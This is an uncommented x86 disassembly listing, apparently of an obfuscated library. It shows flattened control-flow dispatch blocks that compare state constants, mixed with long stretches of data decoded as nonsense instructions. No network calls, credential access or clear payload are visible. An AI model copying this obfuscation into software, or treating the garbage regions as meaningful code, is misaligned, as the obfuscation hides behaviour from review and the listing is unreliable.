mov edx, 0x540ce
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x499a8
or eax, dword [ebp - 0x18c]
je 0x682f728b
mov edx, 0x499a8
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x27fdb
or eax, dword [ebp - 0x18c]
je 0x682f29eb
mov edx, 0x27fdb
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x1fa8f
or eax, dword [ebp - 0x18c]
je 0x682f874b
mov edx, 0x1fa8f
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x11706
or eax, dword [ebp - 0x18c]
je 0x682f91ab
mov eax, dword [ebp - 0x190]
xor eax, 0x1401f
or eax, dword [ebp - 0x18c]
je 0x682f490b
jmp 0x682fb0cb
push edx
call 0x74c61d3c
sti
imul ebx, eax, 0x5a
lodsb al, byte [esi]
das
sub edx, dword [ecx]
xlatb
cmp ah, ch
lea eax, [edi + eax*2 - 0x7c10ebe0]
insd dword es:[edi], dx
lea ecx, [ebp + esi*2 + 0x5a]
xchg edi, eax
jle 0x682f1fc4
fdiv dword [esi]
add bl, bh
pop es
mov esp, 0xd80a382
dec esi
dec ebp
mov edx, 0xa634f786
pop es
fiadd dword [esi - 7]
invalid
xchg esp, eax
aaa
stosd dword es:[edi], eax
and dword [ebx + 0x15], eax
adc eax, dword [edi - 0x22]
mov al, 0xe1
hlt
or al, 6
invalid
pushfd
retf
adc esp, dword [ecx]
inc eax
dec eax
int 0xe3
xchg ebx, eax
adc al, 0xa4
cmpsb byte [esi], byte es:[edi]
fsubr qword [esi - 0x4f41dcf]
imul edi, dword [ecx], 0x6b
mov ch, 0x7b
invalid
xchg edx, eax
insb byte es:[edi], dx
or al, 0x23
push es
add esp, dword [esi - 0x2f11d8ca]
std
jo 0x682f296b
sahf
mov esi, 0x63779855
out 0xaf, eax
salc
cmovle ebp, dword [ecx + edi + 0x25b24813]
mov esi, 0x723e4638
jbe 0x682f29c8
cmp byte [esi + 0x3e], al
jb 0x682f2a43
cli
jae 0x682f297c
lds edx, [ecx + 0x797731bd]
push edx
jl 0x682f2a56
mov cl, 0x4b
in al, 0x95
xor cl, al
pop esp
jno 0x682f2a08
mov ebx, 0xe9cc90cb
loope 0x682f296f
jmp 0x682fb0cc
add byte [eax], al
out dx, al
jmp 0x682f29fc
sub al, dl
aam 0x49
dec edi
jge 0x682f29e6
lahf
dec ecx
movsd dword es:[edi], dword [esi]
int 0xbf
lahf
and byte [esi + edi*8], ch
out dx, eax
mov dword [0xfdeb7cc8], eax
lodsb al, byte [esi]
lea edi, fs:[edx + eax]
fisub dword [edx + 0x1373787a]
jo 0x682f29a7
pushfd
jle 0x682f2a69
adc eax, dword [ebp + 7]
retf 0xe296
ror dword [edx + 0x4f], cl
mov ebx, 0x404e235b
fcom st(3)
mov al, byte [esi]
les esp, [ebx - 0x19773f53]
mov dh, 0xf2
pop edi
pop edi
pop esi
xor dword [edi - 0x2e], ebx
invalid
mov byte [edi - 0x3d23f6e0], dl
into
mov ecx, ebp
lcall 0xf258, 0x3454bd6c
jbe 0x682f2aa6
ret 0x8bce
push ebp
sar dword [edx - 0xeab96c4], 1
mov word [0x7a061e2d], gs
jae 0x682f2a6e
push 0x6e5ade17
shr dword [esi - 0x37246b74], 0x2c
push ecx
mov edx, 0xa944586a
retf
adc eax, 0x4721d260
xor ah, byte [esi - 0x423dd8e7]
xor byte [0x91941399], 0xa1
scasd eax, dword es:[edi]
adc ah, byte [ebx]
add eax, 0x94720ced
ficom dword [eax]
jno 0x682f2af3
scasd eax, dword es:[edi]
fstp xword [edx + 0x36]
ret
adc al, 0x88
jecxz 0x682f2ac0
mov al, 0x50
pop es
sub byte [edx], 0x22
mov dh, 0x87
imul ebx, edi, 0x69
mov edx, 0xcfd90ebb
ret 0xeceb
test bl, cl
mov edx, 0x18209b80
and eax, 0x7d21a325
mov esi, 0xa2c98a32
stosd dword es:[edi], eax
movsb byte es:[edi], byte [esi]
inc edx
push ebx
add byte [ebx], dh
pop esp
push cs
mov byte [0x5889db5b], al
dec eax
xchg edi, eax
cwde
xor ebx, dword [esi + ecx - 0x5e]
pop ebx
fisttp dword [ecx - 0x6768b7a8]
mov al, byte [0x2b609e40]
pop ss
bound edi, qword [edi - 0x32]
stc
loope 0x682f34f2
or esi, dword [edi - 0x35d8add4]
fsub dword [0x99854a4f]
xor byte [ebp + 0x71], 0x10
push ebp
push ecx
xchg ebx, eax
push ebx
xchg edi, eax
mov ah, dl
sbb esp, dword [ebx + 0x1e28392]
cmpsd dword [esi], dword es:[edi]
in al, 0x78
xor dword [esi - 0x134f24a7], 0xffffff80
jnp 0x682f34a0
mov al, 0xec
cmp byte [ebx - 5], 0x2a
inc esi
retf 0xeba6
sub al, byte [esi - 0x36]
cmpsb byte [esi], byte es:[edi]
jmp 0x682f3461
js 0x682f3534
in al, dx
sets byte [edi]
scasb al, byte es:[edi]
ror dword [ebx], cl
cmp ebp, dword fs:[esi + 0x71351516]
mov eax, 0xc3674109
inc edx
push esp
sbb eax, 0xb44e5f84
push ss
in eax, dx
xchg edi, eax
std
jae 0x682f3593
outsb dx, byte [esi]
loope 0x682f358e
push ds
jo 0x682f356d
adc ah, ah
hlt
inc ebx
ficom dword [esp + ebp*4 + 0x1d]
mov bh, 0x43
mov byte [eax + 0x405fc778], 0xb3
stosd dword es:[edi], eax
inc eax
mov bl, 0xab
mov esp, 0xcc90003b
add bl, byte [ebp + ecx - 0x68]
dec edi
stosb byte es:[edi], al
dec esp
rol byte [esi - 7], 0x4c
jae 0x682f354e
mov esi, dword [edx + esi]
or eax, 0xf69bcfdf
cmp eax, 0x421eb754
mov edx, 0xc5c752f4
cmp esi, esi
mov bh, 0xfd
aad 0x8c
and dword [esi], ebx
or eax, 0x3d03e994
stosd dword es:[edi], eax
rcl byte [ebx + 0x7e], 0x30
iretd
pop ecx
fidivr dword [eax + 0x158b9163]
xchg esi, eax
push eax
mov dh, 0x50
pop ss
mov dh, 0xa7
pop ds
retf
mov ecx, 0x52e0544f
loopne 0x682f35e2
and al, 0xbd
arpl word [eax], sp
scasb al, byte es:[edi]
cmpsd dword [esi], dword es:[edi]
or byte [eax - 0x7a], 0xc0
jg 0x682f3527
and byte [esi - 0x79b77f59], ch
sar byte [edi - 0x75], 0x69
scasd eax, dword es:[edi]
mov dl, 0xa4
pop ebp
wait
jb 0x682f3604
imul ebp, dword [edi + 0x5d2ea4b2], 0x165f729b
push ss
mov al, byte [0xa6029ee1]
int1
jmp 0x2959f9f5
add byte [edx], dl
xlatb
js 0x682f3590
ljmp 0x4b23:0x37f0e24
je 0x682f358b
mov byte [eax + 0x41], dl
out dx, al
pop ds
in eax, dx
push 0x6f
jl 0x682f3671
lcall 0xa8d5, 0xa074be0a
mov esp, 0x260d2228
cdq
invalid
pop edi
xchg edx, eax
iretd
retf 0xef22
invalid
add dl, byte [ebp + 0x6b1e5777]
aas
inc esi
add bh, ah
or al, 0x72
mov dl, 0x26
dec edi
cmp al, 0x1a
int3
sbb ah, byte [edx + 0x3b6ee10b]
push esp
in al, dx
add byte [esi - 0x27], bl
jne 0x682f5d74
pop es
mov byte [ecx], dh
sub dword [eax], ecx
fld st(1)
fisub word [edx + 0x57884665]
ret 0x8524
lahf
wait
xchg edi, eax
add dword [esi + edi*2 - 0x738f0894], edi
jo 0x682f5cf0
cli
jns 0x682f5d5a
add edx, dword [ecx - 0x30]
rol dword [edi - 0x26], cl
clc
mov dword [0x28d86217], eax
jle 0x682f5d9c
daa
wait
retf 0x489a
in eax, dx
and byte [edi - 0x1c], dh
sub bl, byte [esi + 0x33]
cmc
popfd
invalid
je 0x682f5e3a
mov edi, 0xdc2139b2
popal
and bl, bl
inc edx
and al, 0xbe
or dword [ebp + 0x64c0c887], esi
jbe 0x682f5ded
js 0x682f5d62
adc bl, dh
and eax, ebp
invalid
movsb byte es:[edi], byte [esi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
sahf
push 0x3b55094
xchg edi, eax
push eax
outsb dx, byte [esi]
and dl, byte [ecx + 0x6000162f]
mov ah, 0xb1
sub eax, ebp
cmp eax, 0xb087fa8d
wait
inc esi
xor byte [ebp + esi*2 - 0x5f9647c5], ah
cmp edx, 0xfffffffa
xor eax, 0x4e05e60a
mov ecx, 0xba2a53db
cmpsd dword [esi], dword es:[edi]
rcr cl, 6
test eax, 0xb2d36d58
int 0xb7
cmp ebx, edi
dec esi
in al, dx
add al, 0xed
adc dword [edx - 0xe5183df], eax
fisttp qword [ecx + 0x63]
imul ebp, dword [ebp + ebx + 0x2562d235], 0x98783022
mov bl, 0xd0
mov dl, 0xce
not byte [edx - 0x40]
scasd eax, dword es:[edi]
xor byte [ebx + 0x20], cl
movsd dword es:[edi], dword [esi]
xchg ecx, eax
imul ebp, esp, 0xe65950e4
cdq
pop ss
mov eax, 0xc24b3005
fcom qword [ebx - 0x12]
imul esi, dword [0x1e6f5296], 0x21082443
rcl byte [esi]
and al, 8
and eax, edx
push ss
and byte [ebx], 0xca
scasb al, byte es:[edi]
push ds
push cs
xor edi, dword [ecx + 5]
push 0x1221ff2
pop ebp
mov gs, edx
sbb eax, 0xd5427789
arpl word [edi], cx
cmp byte [edi + 0x61], ah
imul esp, ebx, 0x877f695f
adc dword [ebp + edi*2 - 0x10], ebp
in eax, dx
js 0x682f5e6b
jge 0x682f5eed
adc byte [edi - 0x5e], ch
cwde
mov esi, 0xa51fe22
sub byte [eax + 0x5b], ch
mov al, 0xe9
sub al, 0xa4
cmp bl, byte [esi - 0x22d8fdb7]
add al, 0xe3
mov dword [0xcf75d43], eax
inc esp
jg 0x682f5e69
mov edx, 0x51a1cc90
daa
hlt
repne scasd eax, dword es:[edi]
nop
out dx, eax
mov cl, 0x81
hlt
inc edi
mov dword [0xebf31983], eax
idiv byte [esi + ebx*2]
mov esp, 0xe94e0a91
and eax, dword [ebp + 0x3d]
xchg edi, eax
ret 0xed90
inc edx
invalid
xchg dword [ecx], ecx
sub al, 0x1f
xor ebp, dword [edi + ebx*4 - 0x71]
out 0xf3, al
cli
out dx, al
inc eax
arpl word [ecx - 0x5c3337ac], ax
in eax, dx
lcall 0x774b, 0xc2c0b7ba
push cs
jne 0x682f71f4
or eax, 0x67b5e323
rcl byte [edx + 0xe]
imul ebp, ebx, 0x62d9809e
add dword [ebx], ebx
loop 0x682f72b7
test byte [ebx], bl
invalid
jb 0x682f7237
mov bl, 0
test dword [ecx + 0x67f969ac], 0x89b9fbde
invalid
mov ecx, 0x8939d943
pop ds
mov dword [edi], ebx
inc edx
and bh, al
jge 0x682f7327
sbb eax, 0xa18bdff0
arpl si, di
dec ebx
or dl, dl
lahf
outsb dx, byte [esi]
xchg ebp, eax
das
mov ecx, 0xeb3ff38b
mov ax, word [0x63cfa6cd]
xchg ebp, eax
movsd dword es:[edi], dword [esi]
xchg ecx, eax
jno 0x682f72eb
cmp al, 0xc7
mov bh, 0x87
inc edi
cwde
xchg edi, eax
loopne 0x682f72b3
mov ebx, 0x89acd3a4
pop esp
mov al, 0x8e
std
pop ebp
push cs
add eax, edx
mov cl, 0x93
in eax, 0x78
dec esi
test esp, ebx
setg byte [ebx]
jns 0x682f7319
xor byte [ecx], bh
pop ecx
or eax, 0x52bc9d66
test byte [ebx + 0x33], bh
dec edx
wait
mov eax, 0xeabba12
jecxz 0x682f72c8
das
mov word [ebp + 0x1b3aa3cb], fs
mov dh, 0x72
sub bh, byte [esi + eax*4 + 5]
xchg edi, eax
rol byte [esi], 1
push ebx
sbb esi, dword [esi - 0x7983d58e]
add eax, 0x5306d097
stc
dec ebp
inc edi
invalid
adc eax, 0x67886fe4
pop ds
cmp eax, 0x9b7e6021
imul ecx, eax, 0xc98a4434
pop esi
mov al, byte [0x5e2b04bb]
push 0xf7aa560f
adc ah, al
dec esi
or dword [edx - 0x75ba1665], eax
or eax, 0xc27636de
retf 0x756e
sbb edi, 0x6dc24a5b
jne 0x682f8760
nop
adc al, 0xcc
js 0x682f878d
retf
sub al, 0xac
imul esi, dword [edi + 0x5d], 0
outsd dx, dword [esi]
fnstenv [eax]
inc edi
rcr byte [ebx + ecx*2 + 0x25], 1
lea esi, es:[ebx + 0x7ff7943d]
jbe 0x682f87a8
mov bl, 0xdf
loopne 0x682f87ab
add edi, dword [0x61331941]
retf
pushfd
aad 0x3c
push ebp
sub dword [ecx + ecx], ecx
inc edi
jns 0x682f87ae
or eax, 0x7026fadd
fcmovu st(0), st(2)
dec esp
xchg esp, eax
mov eax, 0xefcb96a0
je 0x682f87a8
pop edx
mov byte [eax], dl
xor dword [esi - 0x38], eax
aam 0x7e
and dword [eax], 0xffffffde
push ebp
into
sub dword [esi], ecx
cmp dword [esi + 0x1c], edx
and dword [edi + 0x746f82d3], ebx
xor al, dl
xor eax, 0xd1680c6e
sub dword [edi], esi
xchg ebp, eax
mov ds, word [ebp + 0x61]
das
xor al, 0x6f
fidiv dword [esi - 0x3d]
mov bh, 0xb2
add al, 0x1a
inc ecx
xchg edx, eax
test byte [edx - 0x2a65a159], 0xd8
ljmp 0x21fc
pop esi
cmc
adc byte [0x796a72d7], cl
scasb al, byte es:[edi]
fst dword [edx + 0x5647f65c]
add byte [ebp - 0x77], dh
imul ecx, dword [esi + ecx*4 - 0xca0c460], 0xffffff98
inc ecx
mov al, byte [0xabe5ec7f]
rcl dword [edi + 0x3f]
rcl dword [eax + edi*8], 0x6d
sahf
adc byte [ebp + 0x41caf844], cl
into
je 0x682f923f
jo 0x682f9223
adc byte [ecx + 0x54], bl
lodsd eax, dword [esi]
inc ecx
sti
push es
scasb al, byte es:[edi]
out dx, eax
mov dl, 0xa8
jmp 0x628d8221
cmp byte [edx + 0x3d], dh
retf
or al, 0x6c
hlt
in al, 0x7c
xchg ebp, ebp
xor esi, esi
popfd
lodsd eax, dword [esi]
mov es, word [esi + 0x4e3f6b8c]
push edi
jp 0x682f9218
pop ds
mov al, byte [0xd0a14449]
mov ch, 0x32
sub dword [esi + 0x1b], 0x84988876
les ecx, [edi - 0x28]
fisubr word [eax]
shr byte [ebx], cl
xchg esp, eax
inc ebp
sal dword [edi - 0x197b3072], 1
inc ebp
xor ch, byte [eax]
movsd dword es:[edi], dword [esi]
push ss
int3
push ebp
invalid
pop esp
outsd dx, dword [esi]
push edx
mov eax, 0x621c45cd
invalid
nop
jmp 0x682fb0cc
nop
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x2a]
jne 0x682d09e4
nop
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x682fb153
mov dword [ebp - 0x1f8], 0xac039
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x200], 0xcd9a2
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x1f8]
sbb edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
xor eax, 0x21969
or eax, dword [ebp - 0x204]
nop
jmp 0x6834c9d7
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x4a]
je 0x682fd16f
mov dword [ebp - 0x168], 0xabe20
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x170], 0x4621a
mov dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
sub eax, dword [ebp - 0x170]
sbb edx, dword [ebp - 0x16c]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x178]
xor eax, 0xf0e0b
or eax, dword [ebp - 0x174]
je 0x682fb246
mov edx, 0xf0e0b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x682fd163
mov eax, dword [ebp - 0x178]
xor eax, 0x8de53
or eax, dword [ebp - 0x174]
je 0x682fc706
mov edx, 0x8de53
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x682fd163
mov eax, dword [ebp - 0x178]
xor eax, 0x32e36
or eax, dword [ebp - 0x174]
je 0x682fbca6
mov eax, dword [ebp - 0x178]
xor eax, 0x65c06
or eax, dword [ebp - 0x174]
je 0x682fd169
jmp 0x682fd163
mov ah, 0xa8
jl 0x682fb26d
movsd dword es:[edi], dword [esi]
sub dh, byte [edx + 0x2a]
or edx, dword [0x75f4b09]
adc al, 0x14
pop edx
sbb ch, byte [esi + 0x2c]
cmp ecx, ebx
add al, 0xaa
rcl esp, 0xb3
nop
mov eax, dword [0x8cd8e278]
pushfd
mov ebp, ss
dec esp
ficomp word [eax - 0x415c1047]
salc
cwde
mov ecx, 0xd6bea3ef
pop ss
mov esp, 0x5c6dadd5
shr byte [ecx - 0x23], 0x9d
invalid
out 0x38, eax
int3
sub eax, 0xfd5e5eb2
jmp 0x682fc771
mov esp, ebp
invalid
nop
jmp 0x682f1c71
nop
jmp 0x682f1c71
mov eax, dword [ebp + 8]
lea edx, [eax - 2]
mov dword [ebp + 8], edx
add eax, 2
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x9c], edx
mov edx, dword [ebp - 0x9c]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
jne 0x6832b7cb
cmp word [ebp - 0xa], 0
jne 0x6830905a
mov dword [ebp - 0xf0], 0x45026
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0x581d5
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf0]
sbb edx, dword [ebp - 0xec]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x100]
xor eax, 0xcaaa5
or eax, dword [ebp - 0xfc]
je 0x682fff11
mov edx, 0xcaaa5
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0xca86f
or eax, dword [ebp - 0xfc]
je 0x683047b1
mov edx, 0xca86f
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0xbb8d6
or eax, dword [ebp - 0xfc]
je 0x682fea51
mov edx, 0xbb8d6
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0xbb240
or eax, dword [ebp - 0xfc]
je 0x68300971
mov edx, 0xbb240
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0xab740
or eax, dword [ebp - 0xfc]
je 0x682ff4b1
mov edx, 0xab740
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0xa8aae
or eax, dword [ebp - 0xfc]
je 0x683066d1
mov edx, 0xa8aae
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x9ff72
or eax, dword [ebp - 0xfc]
je 0x683013d1
mov edx, 0x9ff72
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x9ae38
or eax, dword [ebp - 0xfc]
je 0x682fdff1
mov edx, 0x9ae38
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x8d702
or eax, dword [ebp - 0xfc]
je 0x682fd591
mov edx, 0x8d702
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x8637c
or eax, dword [ebp - 0xfc]
je 0x68307131
mov edx, 0x8637c
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x5ca28
or eax, dword [ebp - 0xfc]
je 0x68305c71
mov edx, 0x5ca28
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x5224a
or eax, dword [ebp - 0xfc]
je 0x683032f1
mov edx, 0x5224a
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x4ee73
or eax, dword [ebp - 0xfc]
je 0x68303d51
mov edx, 0x4ee73
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x4c97e
or eax, dword [ebp - 0xfc]
je 0x68307b91
mov edx, 0x4c97e
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x273cc
or eax, dword [ebp - 0xfc]
je 0x68302891
mov edx, 0x273cc
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x1da38
or eax, dword [ebp - 0xfc]
je 0x683085f1
mov edx, 0x1da38
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x1a811
or eax, dword [ebp - 0xfc]
je 0x68305211
mov edx, 0x1a811
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6830904e
mov eax, dword [ebp - 0x100]
xor eax, 0x9d14
or eax, dword [ebp - 0xfc]
je 0x68301e31
mov eax, dword [ebp - 0x100]
xor eax, 0x131af
or eax, dword [ebp - 0xfc]
je 0x68309054
jmp 0x6830904e
xor dword [eax + 0x455837ec], ebx
cdq
cbw
imul ecx, dword [ebx - 0x4b], 0xca3c5ba8
sbb eax, 0x6f49f823
dec ebp
int1
xor ebp, dword [ebx]
pushal
xor byte [edx + 0x74], ah
xor edi, dword [edi]
mov dword [0x8e2568ba], eax
stosd dword es:[edi], eax
out 0xba, eax
lodsb al, byte [esi]
pop ebp
dec ecx
mov edx, 0x4803339e
push esi
xlatb
loop 0x682fd5f2
and dl, dl
mov esi, 0x46d22d8e
pop ebx
inc ebp
push 0xb09b42c4
out dx, eax
std
mov ebx, 0xbcccabf8
dec ebp
adc eax, 0x8aaaa3b5
loope 0x682fd65d
popfd
sub dword [edi + 4], edx
dec eax
invalid
cwde
inc edx
mov eax, 0x82cf6328
rol byte [ebp + 0x3998fec4], 1
out 0x1b, eax
invalid
add ebp, dword [ecx + 0x6ba95c43]
and al, 0xda
jmp 0x3a151842
adc esp, dword [ecx + edi*8 + 0x63c97285]
movsd dword es:[edi], dword [esi]
add al, 0x54
inc ecx
nop
xor dword [esi - 0x6d5af00f], 0x6e
wait
lahf
mov dword [0xbcc700b1], eax
popfd
add ecx, ebx
or al, 0x79
push ss
push esi
bound edx, qword [ebp - 0x7c194acc]
pushfd
daa
add eax, esp
xor dword [esi - 0x68], esp
test eax, 0xbe42df14
cwde
sub eax, 0x995e8834
int3
cmc
push edx
imul byte [edx]
mov esi, 0xf6020e72
and eax, dword [ebx + ebp*4 + 0xd2444a6]
add cl, cl
xor byte [ebp - 0x40], 0x5c
mov eax, 0xed107f32
test byte [ebx + 0x2f8f931], 0xc1
cmp al, 0x2f
and eax, 0xad079fba
adc ebx, ebx
adc al, 0x3f
invalid
invalid
cmp al, 2
mov dl, 0xc4
mov edi, 0x86455ba8
invalid
cli
iretd
les ebp, [ebp + 0x43]
add eax, 0xef9baba2
inc ebx
jecxz 0x6830091c
dec edx
cmp ecx, dword [esp + esi*4]
or dword [ecx - 0x4e], ebx
clc
and al, 0xf6
not byte [eax - 0x791b1634]
add byte [eax], al
out dx, al
or eax, dword [ebp + 0xdedeb8b]
mov byte [0xc0cca4e2], al
pop edx
pop es
cmovne edx, dword [edi - 0x45979acb]
nop
frstor dword [eax + ecx*2 - 0x25]
jp 0x683009dc
fimul word [0x65de8ac]
xchg byte [ebx + 7], al
loop 0x683009d7
jae 0x68300954
or dword [esi - 0x6d2f152], ebx
cwde
xchg byte [ebp - 0x36074307], ah
invalid
mov word [ebx + 0x14], es
sbb al, 0x39
shr byte [ebx + 0x534375eb], cl
mov esp, 0x7721c9f2
je 0x68300a42
cmp edx, edx
stosd dword es:[edi], eax
jmp 0x68300a56
rcpps xmm4, xmmword [edx - 0x1e4c0c8e]
mov cl, 0xa4
cld
or byte [eax + 0x4900a677], ch
ficom dword [esi + 0x1d5c013]
sbb dword [eax + 0x17a1ad6c], 5
lodsd eax, dword [esi]
push ecx
bound esi, qword [esi + 0x1f]
invalid
popfd
push ebx
sub edi, dword [edx + eax*8 - 0x62]
outsd dx, dword [esi]
xchg esi, eax
imul esp, dword [ebp + 0x41], 0x43ea71ea
out dx, eax
dec ebp
and esi, dword [esi + 0x38ee7c97]
jle 0x68300a6d
invalid
fcom qword [edi + 0xb]
imul ebx, edx, 0x4038e6b
sub eax, 0x7ae17a05
sbb dword [edx], edi
xor edi, esp
loope 0x68300a74
mov esp, 0x8d3825d
inc esp
mov ebx, 0xcc909876
inc esi
aam 0x56
or al, 0x44
push cs
and al, 0x4c
add eax, 0x9b4f3205
dec edi
wait
mov edx, 0xe17dbd9b
loopne 0x68300a14
jnp 0x68300a1d
lodsd eax, dword [esi]
lodsb al, byte [esi]
popfd
into
stc
and word [ecx - 0x6beaf037], si
jae 0x68300a2c
mov edx, 0xd3e2da09
retf
les eax, [esi + 0x67]
ret
dec edi
retf 0xbf9e
in al, 0xa8
ret 0x6c95
sub dh, ah
or al, 0x49
add dword [edx + 0x30], ecx
scasd eax, dword es:[edi]
pop edi
jno 0x6830284b
movsb byte es:[edi], byte [esi]
pop ecx
push ss
ror byte [eax], cl
mov dword [0xee22edc2], eax
push 0xe460c515
push 0x9b13ecd4
ljmp 0x60eb
pushfd
jmp 0xcce96a
sbb al, 0xe5
sbb al, byte [eax - 0x48]
fisttp dword [edx - 0xfc99f10]
outsd dx, dword [esi]
sub dword [eax + 0x2c49282d], ecx
int1
jnp 0x6830323a
shl byte [edx - 0x54724cc7], cl
mov ebp, edx
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
je 0x683032c6
sub dword [ebp - 0x1b0bd05a], edi
cmp bh, byte [esi + edi + 0x32ef27bd]
sub bh, byte fs:[edi - 0x282b297e]
loop 0x683032f6
popfd
outsd dx, dword [esi]
add bl, byte [0x37f6ea1e]
pop ecx
adc byte [ebx - 0x7a], ah
cdq
outsb dx, byte [esi]
nop
int3
and ebp, edx
cmpsb byte [esi], byte es:[edi]
adc ecx, ebx
inc ebp
in al, 0xb6
lahf
inc ecx
sub eax, 0x937534de
js 0x6830330b
jno 0x683032a4
mov eax, 0x4ae75777
xchg esp, eax
std
scasb al, byte es:[edi]
push es
xor ah, byte [edx]
and al, 0x4c
and al, 0x2f
xchg dword [ebx], edx
mov esp, 0x4ee9da8a
dec eax
xchg ecx, eax
shr byte [ebx - 0x22d62c92], 1
or al, 0xc0
mov ebp, 0xc4d67279
cdq
mov eax, dword [0x7cb3371]
inc esp
clc
invalid
mov dl, byte [ecx - 0x4352ac06]
mov bl, 0x87
and eax, 0x1a157678
xchg edx, eax
aam 0x33
mov esp, 0x8526bd6b
inc ebp
inc ebx
pop ebx
insb byte es:[edi], dx
nop
int3
push ebp
and bl, byte [eax]
js 0x68303d78
clc
test al, 0x6e
jb 0x68303d8a
pop ecx
in al, dx
invalid
mov byte [0x490d4835], ch
sub dword [edi + 0x66], 0xffffff8e
inc ecx
push ebx
lahf
invalid
mov cl, 0x8a
mov word [eax - 0x215f46de], fs
stosd dword es:[edi], eax
xor byte [eax + 0x65], bh
jo 0x68303d31
retf 0xb73f
das
xor eax, 0xb8f340a7
and byte gs:[edx + 0x3aa279e1], cl
ljmp 0xa23c
adc cl, byte [eax]
mov dword [0xe45f6f9e], eax
xchg esp, eax
adc esi, dword [ebx - 0x45]
hlt
sub eax, 0x18dd7b3a
hlt
lds ebx, [eax - 0x4e7ce28c]
sbb byte [ebp + 0x31], 0x28
in eax, dx
xor dword [ecx + 0x28315d82], 0xffffffed
nop
int3
jb 0x68305c03
or eax, dword [ecx + ebx*4 - 0x5b]
jp 0x68305c80
mov ecx, 0xe16f5411
out 0x6b, eax
mov byte [0x6d8835b0], al
out dx, eax
xchg byte [ecx + 0x46], ch
insb byte es:[edi], dx
popal
inc esi
dec esp
sub eax, 0xd4e5966b
inc ebx
dec eax
stc
add dword [esi + 0x2e], eax
cli
jge 0x68305cda
imul eax, dword [eax + 0x158521bd], 0x67
